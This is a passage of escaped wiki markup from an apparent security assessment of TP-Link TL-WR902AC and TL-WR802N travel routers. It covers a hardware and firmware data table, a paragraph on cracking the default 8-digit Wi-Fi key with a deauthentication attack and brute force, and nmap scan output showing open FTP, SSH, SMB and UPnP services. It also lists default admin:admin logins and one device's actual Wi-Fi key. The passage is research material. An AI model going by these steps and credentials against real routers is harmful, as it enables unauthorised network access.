&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Ethernet MAC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;98:DA:C4:6E:00:FC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN MAC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2.4GHz: 98:da:c4:6e:00:fc, 5GHz: 98:da:c4:6e:00:fd&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN SSID&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2.4Ghz: TP-Link_00FC; 5Ghz: TP-Link_00FC_5G; TP-Link_Guest_00FC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2.4Ghz: TP-Link_C3AE&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN PSK&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;37490720&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Default IPv4&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;WLAN: 192.168.1.1&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Hostname&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;TL-WR902AC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;TL-WR802N&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;NET Protocols&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;SSH, FTP, HTTP, SMB, uPnP&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;SSH, HTTP, uPnP&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Interfaces&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;ttyS1: console, eth0|eth0.2|eth0.3|eth0.4|eth0.5|eth0.6|br0, ra0|rai0: WLAN&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Ports&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;21/tcp ftp, 22/tcp ssh, 80/tcp http, 139/tcp smbd, 445/tcp smbd, 1900/tcp open upnp, 1900/udp wscd: SSDP, 20002/udp httpd?, 40955/tcp upnp&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;22/tcp ssh, 53/tcp dnsmasq, 80/tcp http, 1900/tcp open upnp, 1900/udp wscd: SSDP, 20002/udp httpd?&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Webpage&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;http://tplink.net&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Webaccess&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;admin:admin (Default)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;admin:admin (Default)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Root Password&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: whitesmoke;    border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: whitesmoke;    border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Other Login Pw&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;admin:admin (Default)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;admin:admin (Default)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 2px 2px 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Firmware&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;0.9.1 0.1 v0089.0 Build 170828 Rel.57433n(4555)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;0.9.1 3.17 v0001.0 Build 190428 Rel.63523n&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px 2px 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Hardware&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;TL-WR902AC(EU) V3&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;TL-WR802N(EU) V4&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 2px 2px 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Baudrate&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;115200 (8N1) -&amp;gt; 7N1 for UBoot but also works for linux, but no input&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Bootdelay&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Bootloader&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;U-Boot 1.1.3 || Ralink UBoot Version: 4.3.0.0&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;mtdparts&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;dev:    size   erasesize  name&amp;lt;br&amp;gt;&lt;br /&gt;
mtd0: 00020000 00010000 &amp;quot;boot&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
mtd1: 00140000 00010000 &amp;quot;kernel&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
mtd2: 00660000 00010000 &amp;quot;rootfs&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
mtd3: 00010000 00010000 &amp;quot;config&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
mtd4: 00010000 00010000 &amp;quot;romfile&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
mtd5: 00010000 00010000 &amp;quot;rom&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
mtd6: 00010000 00010000 &amp;quot;radio&amp;quot;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Filesystem&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;squashfs, fuse&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Image&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;TD-W8968&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Linux&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2.6.36&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2.6.36&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px 2px 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Kernel cmdline&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;console=ttyS1,115200 root=/dev/mtdblock2 rootfstype=squashfs init=/sbin/init&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 2px 2px 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Shell&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;sh, ash&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;sh, ash&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;BusyBox&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;v1.19.2 (2017) multi-call binary&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px 2px 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Services&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;vsftpd; sshd; http; smbd; uPnP, VLAN, IPv6&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Wireless Security&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify&amp;quot;&amp;gt;In order to process with the next chapters, access to the LAN of the router is required. Since it isn&#039;t mandatory to change the Pre-Shared Key (PSK) nor the Service Set Identifier (SSID) (TP-Link_XXXX) during setup, I assume, that most general users leave its defaults. Leaving the device almost unsecured with an 8 digit ([0-9]{8}) PSK. The default PSK can be easily aquired using a [https://wiki.elvis.science/index.php?title=WPA/WPA2_PSK_deauthentication_attack deauthentication attack]. Using an Intel i9-9980HK CPU with Aircrack-ng 1.6 on macOS 10.15 takes worst-case 78 minutes with 21177k/s. Using a more powerful setup with modern GPUs in combination with hashcat would drastically decrease the time brute-forcing. Leading to a attractive attack vector, even for a mobile device that doesn&#039;t stay in the same physical location for a long time.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Network Mapper&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR902AC&amp;lt;/b&amp;gt;: AC750 Wifi - Travel Router&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;hr style=&amp;quot;border-color: whitesmoke&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;Local Area Network&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;font-size: 11px&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki style=&amp;quot;margin: 0&amp;quot;&amp;gt;PORT     STATE SERVICE     VERSION&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;21&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/tcp   open  ftp         vsftpd 2.0.8 or later&lt;br /&gt;
|_ftp-anon: got code 500 &amp;quot;OOPS: no entry found!&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;22&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/tcp   open  ssh         Dropbear sshd 2012.55 (protocol 2.0)&lt;br /&gt;
| ssh-hostkey: &lt;br /&gt;
|   1024 ff:29:95:59:3a:2e:18:cd:13:7b:4f:c9:df:0f:a9:4f (DSA)&lt;br /&gt;
|_  1040 54:af:2a:2a:03:ae:a1:f2:c6:1c:a1:2f:85:a6:fe:1b (RSA)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;80&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/tcp   open  http        TP-LINK TD-W8968 http &amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;admin&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
|_http-title: Site doesn&#039;t have a title (text/html; charset=utf-8).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;139&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;445&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/tcp  open  netbios-ssn Samba smbd 3.0.14a (workgroup: WORKGROUP)&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;1900&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/tcp open  upnp        Portable SDK for UPnP devices 1.6.19 (Linux 2.6.36; UPnP 1.0)&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;1900&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/udp open  wscd: SSDP  Portable SDK for UPnP devices 1.6.19 (Linux 2.6.36; UPnP 1.0)&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;20002&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/udp open  httpd?     UPD hello messages.&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;40955&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/tcp open  upnp       Portable SDK for UPnP devices 1.6.19 (Linux 2.6.36; UPnP 1.0)&lt;br /&gt;
&lt;br /&gt;
Service Info: Host: TP-Link; OS: Linux; Device: WAP; CPE: cpe:/o:linux:linux_kernel, cpe:/h:tp-link:td-w8968, cpe:/o:linux:linux_kernel:2.6.36&lt;br /&gt;
&lt;br /&gt;
Host script results:&lt;br /&gt;
|_clock-skew: mean: -18432d18h23m26s, deviation: 0s, median: -18432d18h23m26s&lt;br /&gt;
| smb-os-discovery: &lt;br /&gt;
|   OS: Unix (Samba 3.0.14a)&lt;br /&gt;
|   NetBIOS computer name: &lt;br /&gt;
|   Workgroup: WORKGROUP\x00&lt;br /&gt;
|_  System time: 1970-01-01T00:03:48+00:00&lt;br /&gt;
| smb-security-mode: &lt;br /&gt;
|   account_used: guest&lt;br /&gt;
|   authentication_level: share (dangerous)&lt;br /&gt;
|   challenge_response: supported&lt;br /&gt;
|_  message_signing: disabled (dangerous, but default)&lt;br /&gt;
|_smb2-time: Protocol negotiation failed (SMB2)&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Wide Area Network (WAN)&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;font-size: 11px&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;Host is up.&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR802N&amp;lt;/b&amp;gt;: 300Mbps Wireless N - Nano Router&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;hr style=&amp;quot;border-color: whitesmoke&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;Local Area Network&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;font-size: 11px&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki style=&amp;quot;margin: 0&amp;quot;&amp;gt;PORT     STATE  SERVICE VERSION&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;22&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/tcp   open   ssh     Dropbear sshd 2012.55 (protocol 2.0)&lt;br /&gt;
| ssh-hostkey:&lt;br /&gt;
|   1024 c5:2f:17:05:d0:da:57:ea:16:d8:4c:c3:14:a6:b3:c9 (DSA)&lt;br /&gt;
|_  1039 6c:06:ba:de:54:2d:05:02:f9:79:a6:79:2e:64:9f:96 (RSA)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;53&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/tcp   open  domain  dnsmasq 2.78&lt;br /&gt;
| dns-nsid:&lt;br /&gt;
|   NSID: viezcnsat10 (7669657a636e7361743130)&lt;br /&gt;
|   id.server: viezcnsat10&lt;br /&gt;
|_  bind.version: dnsmasq-2.78&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;80&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/tcp   open   http&lt;br /&gt;
| fingerprint-strings:&lt;br /&gt;
|   GetRequest:&lt;br /&gt;
|     HTTP/1.1 200 OK&lt;br /&gt;
|     Content-Type: text/html; charset=utf-8&lt;br /&gt;
|     Content-Length: 16113&lt;br /&gt;
|     Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly&lt;br /&gt;
|     Connection: keep-alive&lt;br /&gt;
|   HTTPOptions, RTSPRequest:&lt;br /&gt;
|     HTTP/1.1 405 Method Not Allowed&lt;br /&gt;
|     Content-Type: text/html; charset=utf-8&lt;br /&gt;
|     Content-Length: 124&lt;br /&gt;
|     Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly&lt;br /&gt;
|_    Connection: close&lt;br /&gt;
|_http-title: Site doesn&#039;t have a title (text/html; charset=utf-8).&lt;br /&gt;
&lt;br /&gt;
